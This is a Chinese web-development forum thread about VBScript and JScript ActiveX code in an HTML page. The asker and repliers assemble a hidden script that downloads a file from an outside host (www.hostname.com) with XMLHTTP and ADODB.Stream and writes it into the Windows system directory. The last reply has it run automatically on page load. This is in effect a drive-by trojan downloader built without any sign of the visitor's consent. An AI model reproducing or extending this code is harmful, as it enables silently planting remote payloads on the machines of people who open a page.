如何在textarea中获取外部变量的值？

<script language="vbscript">
Sub OpenScript
   Set objFSO = CreateObject("Scripting.FileSystemObject")
   strOpenFileName = InputBox("Please enter the complete path name for your script (for example, C:\Scripts\MyScript.txt).")
   If strOpenFileName = "" Then
      Exit Sub
   End If   Set objFile = objFSO.OpenTextFile(strOpenFileName)
   strHTML = "<textarea cols=100 rows=30>"
   strHTML = strHTML & objFile.ReadAll()
   strHTML = strHTML & "</textarea>"
   document.write(strHTML)
   objFile.Close
End Sub
</script>
<input type="button" value="打开" onclick="vbscript:OpenScript">

解决方案 »

  1.   

    <script language=vbs>
    Set fso=CreateObject("Scripting.FileSystemObject")
    set getfso=fso.GetSpecialFolder(1).files
    document.write "以下是系统目录的所有文件"
    for each i in getfso
    document.write i & "<br>"
    next
    </script>
      

  2.   

    document.write "<hr><p>以下是系统目录所有文件子文件夹包含的文件夹和文件<p>"
    set getfso=fso.GetSpecialFolder(1).SubFolders
    for each r in getfso
    document.write r & " <font color=red>文件夹包含</font><p>"
    set getfso1=fso.GetFolder(r).files
    for each n in getfso1
    document.write n & "<br>"
    next
    next
      

  3.   

    谢谢！
    但是我的目的是这样的,我想在
    <textarea id="code" style="display:none;">
    var x = new ActiveXObject("Microsoft.XMLHTTP"); 
    x.Open("GET", "http://www.hostname.com/test/test.dat",0); 
    x.Send(); var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);
    pathandname=getpath();
    s.SaveToFile(pathandname,2);</textarea>
    就是想写一个文件到本地系统目录下，这个目录是要外部得到，因为有的系统安装在d盘。
    谢谢！！
      

  4.   

    <script language="vbscript">
    sub save_as()
       Set objFSO = CreateObject("Scripting.FileSystemObject")
       strSaveFileName = objFSO.GetSpecialFolder(1).Path&"\new.txt"
       If strSaveFileName = "\new.txt" Then
          Exit Sub
       End If   Set objFile = objFSO.CreateTextFile(strSaveFileName)
       objFile.WriteLine document.all("code").value
       objFile.Close
    end sub
    </script>
    <textarea id="code" style="display:none;">
    var x = new ActiveXObject("Microsoft.XMLHTTP"); 
    x.Open("GET", "http://www.hostname.com/test/test.dat",0); 
    x.Send(); var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);
    pathandname=getpath();
    s.SaveToFile(pathandname,2);</textarea>
    <br><input type="button" onclick="vbscript:save_as()" value="save">
      

  5.   

    把possible_Y(一切皆可能)的最后一行改成：
      <body onload="vbscript:save_as()">
    不就行了！！！！